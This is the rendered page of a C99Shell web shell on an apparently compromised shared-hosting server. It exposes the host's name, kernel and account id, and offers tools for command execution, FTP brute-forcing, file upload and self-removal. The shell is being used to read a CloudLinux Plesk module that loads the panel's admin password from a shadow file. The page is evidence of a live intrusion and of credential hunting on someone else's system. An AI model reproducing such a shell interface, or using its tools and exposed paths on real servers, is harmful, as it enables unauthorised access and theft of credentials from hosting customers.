!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/usr/lib/python2.6/site-packages/clcommon/cpapi/plugins/   drwxr-xr-x
Free 201.9 GB of 981.82 GB (20.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plesk.py (2.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os

try:
    import MySQLdb
except ImportError:
    MySQLdb = None

from clcommon.cpapi.cpapiexceptions import NotSupported, NoPackage
from clcommon import ClPwd


PSA_SHADOW_PATH = "/etc/psa/.psa.shadow"


__cpname__ = 'Plesk'


def detect():
    return os.path.isfile('/usr/local/psa/version')


def db_access(_pass_path=PSA_SHADOW_PATH):
    access = dict()
    access['login'] = 'admin'
    f = open(_pass_path)
    access['pass'] = f.read().strip()
    f.close()
    return access


def cpusers(_accsess=None, _dbname='psa'):
    if not MySQLdb:
        raise NoPackage('Can not connect to database; MySQL-python package not installed.')
    access = _accsess or db_access()
    dbhost = access.get('host', 'localhost')
    dblogin = access['login']
    dbpass = access['pass']
    db = MySQLdb.connect(host=dbhost, user=dblogin, passwd=dbpass, db=_dbname)
    cursor = db.cursor()
    sql = r"SELECT login FROM sys_users"
    cursor.execute(sql)
    cpusers_lst = [fetched_one[0] for fetched_one in cursor.fetchall()]
    db.close()
    return cpusers_lst


def dblogin_cplogin_pairs(cplogin_lst=None, with_system_users=False):
    raise NotSupported('Getting binding credentials in the database to the user name in the system is not currently '
                       'supported. Is under development.')

def homedirs(_sysusers=None, _cpusers=None):
    """
    Detects and returns list of folders contained the home dirs of users of the DirectAdmin

    :param str|None _sysusers: for testing
    :param str|None _path: for testing
    :return: list of folders, which are parent of home dirs of users of the panel
    """

    homedirs = []

    if _cpusers is None:
        try:
            results = cpusers()
        except NoPackage:
            results = None
    else:
        results = _cpusers

    users = []
    if results is not None:
        users = [line.encode('utf8') for line in results]

    # Plesk assumes MIN_UID as 10000
    clpwd = ClPwd(10000)
    users_dict = clpwd.get_user_dict()

    # for testing only
    if isinstance(_sysusers, (list, tuple)):
        class pw(object):
            def __init__(self, name, dir):
                self.pw_name = name
                self.pw_dir = dir

        users_dict = {}
        for (name,dir) in _sysusers:
            users_dict[name] = pw(name, dir)

    for user_name in users_dict:
        if len(users) and user_name not in users:
            continue
        homedir = os.path.dirname(users_dict[user_name].pw_dir)
        if homedir not in homedirs:
            homedirs.append(homedir)

    return homedirs


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1166 ]--